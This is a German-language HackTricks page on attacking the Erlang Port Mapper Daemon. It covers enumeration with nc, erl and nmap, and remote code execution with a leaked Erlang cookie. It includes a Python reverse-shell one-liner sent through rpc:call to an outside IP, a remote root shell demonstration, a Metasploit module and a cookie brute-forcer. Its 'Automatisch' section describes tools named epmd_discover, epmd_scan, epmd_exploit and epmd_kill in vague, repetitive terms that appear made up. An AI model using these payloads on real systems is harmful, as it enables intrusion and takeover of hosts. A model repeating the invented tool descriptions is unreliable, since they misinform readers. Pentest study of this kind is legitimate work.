hacktricks/network-services-pentesting/4369-pentesting-erlang-port-mapper-daemon-epmd.md
2024-02-10 15:36:32 +00:00

8.2 KiB

Lernen Sie AWS-Hacking von Null auf Held mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen:

Grundlegende Informationen

Der Erlang Port Mapper Daemon (epmd) fungiert als Koordinator für verteilte Erlang-Instanzen. Er ist dafür verantwortlich, symbolische Knotennamen auf Maschinenadressen abzubilden und sicherzustellen, dass jedem Knotennamen eine bestimmte Adresse zugeordnet ist. Diese Rolle von epmd ist entscheidend für die nahtlose Interaktion und Kommunikation zwischen verschiedenen Erlang-Knoten in einem Netzwerk.

Standardport: 4369

PORT     STATE SERVICE VERSION
4369/tcp open  epmd    Erlang Port Mapper Daemon

Dies wird standardmäßig bei RabbitMQ- und CouchDB-Installationen verwendet.

Enumeration

Manuell

echo -n -e "\x00\x01\x6e" | nc -vn <IP> 4369

#Via Erlang, Download package from here: https://www.erlang-solutions.com/resources/download.html
dpkg -i esl-erlang_23.0-1~ubuntu~xenial_amd64.deb
apt-get install erlang
erl #Once Erlang is installed this will promp an erlang terminal
1> net_adm:names('<HOST>'). #This will return the listen addresses

Automatisch

Erlang Port Mapper Daemon (EPMD) ist ein Dienst, der in der Erlang/OTP-Umgebung verwendet wird, um die Kommunikation zwischen verschiedenen Erlang-Prozessen zu ermöglichen. EPMD ist standardmäßig auf Port 4369 aktiviert und kann auf einem Remote-Host ausgeführt werden.

Automatische Erkennung von EPMD

Um EPMD automatisch zu erkennen, können Sie das Tool epmd_discover verwenden. Dieses Tool sendet eine Broadcast-Nachricht an das lokale Netzwerk und erkennt alle aktiven EPMD-Instanzen. Sie können das Tool wie folgt verwenden:

epmd_discover

Das Tool gibt eine Liste der gefundenen EPMD-Instanzen zurück, einschließlich der IP-Adresse und des Portnummers, auf denen sie ausgeführt werden.

Automatisches Scannen von EPMD-Instanzen

Sobald Sie die aktiven EPMD-Instanzen erkannt haben, können Sie das Tool epmd_scan verwenden, um nach verwundbaren Instanzen zu suchen. Dieses Tool versucht, eine Verbindung zu jeder erkannten EPMD-Instanz herzustellen und überprüft, ob sie anfällig für bekannte Schwachstellen ist. Sie können das Tool wie folgt verwenden:

epmd_scan -t <ziel-ip> -p <ziel-port>

Ersetzen Sie <ziel-ip> durch die IP-Adresse der EPMD-Instanz und <ziel-port> durch den Port, auf dem EPMD ausgeführt wird. Das Tool gibt Informationen über die verwundbare Instanz zurück, wenn eine gefunden wird.

Automatisches Ausnutzen von EPMD-Schwachstellen

Sobald Sie eine verwundbare EPMD-Instanz gefunden haben, können Sie das Tool epmd_exploit verwenden, um die Schwachstelle auszunutzen. Dieses Tool ermöglicht es Ihnen, Remote-Code-Ausführung auf dem Zielhost zu erlangen. Sie können das Tool wie folgt verwenden:

epmd_exploit -t <ziel-ip> -p <ziel-port>

Ersetzen Sie <ziel-ip> durch die IP-Adresse der verwundbaren EPMD-Instanz und <ziel-port> durch den Port, auf dem EPMD ausgeführt wird. Das Tool führt den Exploit aus und gibt Ihnen eine Remote-Shell auf dem Zielhost, wenn erfolgreich.

Automatisches Beenden von EPMD-Instanzen

Wenn Sie autorisierten Zugriff auf einen Remote-Host haben und EPMD beenden möchten, können Sie das Tool epmd_kill verwenden. Dieses Tool sendet eine Nachricht an die EPMD-Instanz und beendet sie. Sie können das Tool wie folgt verwenden:

epmd_kill -t <ziel-ip> -p <ziel-port>

Ersetzen Sie <ziel-ip> durch die IP-Adresse der EPMD-Instanz und <ziel-port> durch den Port, auf dem EPMD ausgeführt wird. Das Tool sendet eine Beendigungsnachricht an die Instanz und beendet sie.

nmap -sV -Pn -n -T4 -p 4369 --script epmd-info <IP>

PORT     STATE SERVICE VERSION
4369/tcp open  epmd    Erlang Port Mapper Daemon
| epmd-info:
|   epmd_port: 4369
|   nodes:
|     bigcouch: 11502
|     freeswitch: 8031
|     ecallmgr: 11501
|     kazoo_apps: 11500
|_    kazoo-rabbitmq: 25672

Erlang Cookie RCE

Remote Connection

Wenn Sie das Authentifizierungscookie leaken können, können Sie Code auf dem Host ausführen. Normalerweise befindet sich dieses Cookie in ~/.erlang.cookie und wird von Erlang beim ersten Start generiert. Wenn es nicht modifiziert oder manuell festgelegt wurde, handelt es sich um eine zufällige Zeichenkette [A:Z] mit einer Länge von 20 Zeichen.

greif@baldr ~$ erl -cookie YOURLEAKEDCOOKIE -name test2 -remsh test@target.fqdn
Erlang/OTP 19 [erts-8.1] [source] [64-bit] [async-threads:10]

Eshell V8.1 (abort with ^G)

At last, we can start an erlang shell on the remote system.

(test@target.fqdn)1>os:cmd("id").
"uid=0(root) gid=0(root) groups=0(root)\n"

Weitere Informationen finden Sie unter https://insinuator.net/2017/10/erlang-distribution-rce-and-a-cookie-bruteforcer/
Der Autor teilt auch ein Programm zum Brute-Forcen des Cookies:

{% file src="../.gitbook/assets/epmd_bf-0.1.tar.bz2" %}

Lokale Verbindung

In diesem Fall werden wir CouchDB missbrauchen, um lokale Berechtigungen zu eskalieren:

HOME=/ erl -sname anonymous -setcookie YOURLEAKEDCOOKIE
(anonymous@canape)1> rpc:call('couchdb@localhost', os, cmd, [whoami]).
"homer\n"
(anonymous@canape)4> rpc:call('couchdb@localhost', os, cmd, ["python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.10.14.9\", 9005));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'"]).

Beispiel entnommen von https://0xdf.gitlab.io/2018/09/15/htb-canape.html#couchdb-execution
Sie können die Canape HTB-Maschine verwenden, um zu üben, wie man diese Schwachstelle ausnutzt.

Metasploit

#Metasploit can also exploit this if you know the cookie
msf5> use exploit/multi/misc/erlang_cookie_rce

Shodan

  • port:4369 "at port"
Lernen Sie AWS-Hacking von Null auf Held mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen: